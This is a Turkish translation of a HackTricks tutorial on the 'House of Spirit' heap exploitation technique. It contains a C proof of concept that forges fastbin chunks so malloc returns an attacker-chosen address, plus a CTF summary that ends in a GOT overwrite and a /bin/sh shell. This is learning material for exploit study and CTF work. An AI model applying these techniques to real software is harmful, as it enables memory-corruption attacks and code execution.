6.5 KiB
Ruh Evi
Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- [Resmi PEASS & HackTricks ürünleri]'ni edinin (https://peass.creator-spring.com)
- [PEASS Ailesi]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [NFT'ler] koleksiyonumuz (https://opensea.io/collection/the-peass-family)
- Katılın 💬 [Discord grubuna] (https://discord.gg/hRep4RUj7f) veya [telegram grubuna] veya bizi Twitter 🐦 [@hacktricks_live] (https://twitter.com/hacktricks_live).
- Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks (https://github.com/carlospolop/hacktricks) ve [HackTricks Cloud] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.
Temel Bilgiler
Kod
Ruh Evi
```c #include #include #include #include// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### Hedef
* Bir adresi tcache / hızlı bin içine ekleyebilmek ve daha sonra onu tahsis edebilmek
### Gereksinimler
* Bu saldırı, bir saldırganın doğru şekilde boyut değerini gösteren birkaç sahte hızlı parça oluşturabilmesini ve ardından ilk sahte parçayı serbest bırakarak onun bine girmesini gerektirir.
### Saldırı
* Güvenlik kontrollerini atlayan sahte parçalar oluşturun: Temelde doğru pozisyonlarda doğru boyutları gösteren 2 sahte parçaya ihtiyacınız olacak
* İlk sahte parçayı serbest bırakacak şekilde yönetin, böylece hızlı veya tcache bine girer ve ardından o adresi üzerine yazacak şekilde tahsis edilir
**Koddan** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **gelen kod saldırıyı anlamak için harika.** Bununla birlikte, kodun bu şeması saldırıyı oldukça iyi özetliyor:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
{% hint style="info" %} Not: Bazı sağlamlık kontrollerini atlatmak için ikinci parçayı oluşturmak gereklidir. {% endhint %}
Örnekler
- CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
- Libc bilgi sızdırma: Bir taşma aracılığıyla bir işaretçiyi GOT adresine yönlendirerek, CTF'nin okuma işlemi aracılığıyla bir libc adresi sızdırmak mümkündür.
- House of Spirit: "Tüfeklerin" sayısını sayan bir sayaçı istismar ederek, ilk sahte parçanın sahte boyutunu oluşturmak mümkün olur, ardından bir "mesajı" istismar ederek, bir parçanın ikinci boyutunu sahteleştirmek mümkün olur ve son olarak bir taşma aracılığıyla, serbest bırakılacak bir işaretçiyi değiştirmek mümkün olur, böylece ilk sahte parça serbest bırakılır. Sonra, bunu tahsis edebilir ve içinde "mesaj"ın nerede depolandığı adres olacaktır. Daha sonra, bunu GOT tablosundaki
scanf
girişine işaret etmesi mümkün olur, böylece onu sistem adresiyle üzerine yazabiliriz.
Bir sonrakiscanf
çağrıldığında, girişi"/bin/sh"
olarak gönderebilir ve bir kabuk alabiliriz.
Referanslar
AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @hacktricks_live'ı takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.